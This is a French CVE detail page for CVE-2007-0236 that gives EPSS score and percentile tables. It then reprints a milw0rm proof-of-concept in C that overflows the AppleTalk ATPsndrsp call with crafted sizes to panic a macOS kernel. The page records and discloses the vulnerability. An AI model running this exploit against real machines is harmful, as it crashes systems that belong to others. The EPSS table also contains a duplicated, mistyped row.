CVE-2007-0236 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	38.15%	–	–
2022-04-03	–	–	38.15%	–	–
2023-03-12	–	–	–	12.9%	–
2023-04-09	–	–	–	15.54%	–
2023-06-25	–	–	–	25.14%	–
2023-07-30	–	–	–	25.62%	–
2023-10-15	–	–	–	25.63%	–
2024-02-11	–	–	–	25.63%	–
2024-06-02	–	–	–	25.63%	–
2024-12-22	–	–	–	65.89%	–
2025-01-19	–	–	–	65.89%	–
2025-03-18	–	–	–	–	49.5%
2025-03-18	–	–	–	–	49.5,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	97%
2022-04-03	98%
2023-03-12	95%
2023-04-09	95%
2023-06-25	96%
2023-07-30	96%
2023-10-15	96%
2024-02-11	97%
2024-06-02	97%
2024-12-22	98%
2025-01-19	98%
2025-03-18	98%
2025-03-18	98%

/* proof of concept for moab-14-01-2007 * Copyright (c) 2006, LMH <lmh [at] infopull.com> * Shout outs to: icer, kf, ilja, hd, et al. * * free feedback samples for public consumption: * * "the panic() function takes a string for the reason the panic * occurred. As you can see from the above, the reason us due to the * fact the buffer size is absurd. The system caught this absurdity and * handled it by calling panic(). * In other words, not capable of executing arbitrary code." * -- Rosyna Keller, talking about allocbuf() failing due to allocation * of a negative size buffer, caused by a simple integer overflow. * * * ">LMH claims #10 leads to "potential arbitrary code execution." That's * >not good enough where I come from. Either the arbitrary code executes, * >or it doesn't. I may be talking thru my elbow, but I suggest the * >absence of a working example of "arbitrary code execution" is that we * >have caused a kernel panic, and stack based execution ceases." * -- dinornis, stack based haxor in training. * */ #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdarg.h> #include <sys/param.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/sockio.h> #include <netat/appletalk.h> int main(int argc, char **argv) { int fd, retv, i; unsigned int a, b; char *powder; if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0) exit(1); powder = malloc(6000); memset(powder, 0x41, 5999); for (i=0; i < 7000; i++) { a = strlen(powder) - i; b = i; printf("powder@%p a=%u b=%u\n", powder, a, b); retv = ATPsndrsp(fd, (unsigned char *)powder, a, b); } close(fd); free(powder); // won't reach this unless appletalk is disabled return 0; } // milw0rm.com [2007-01-14]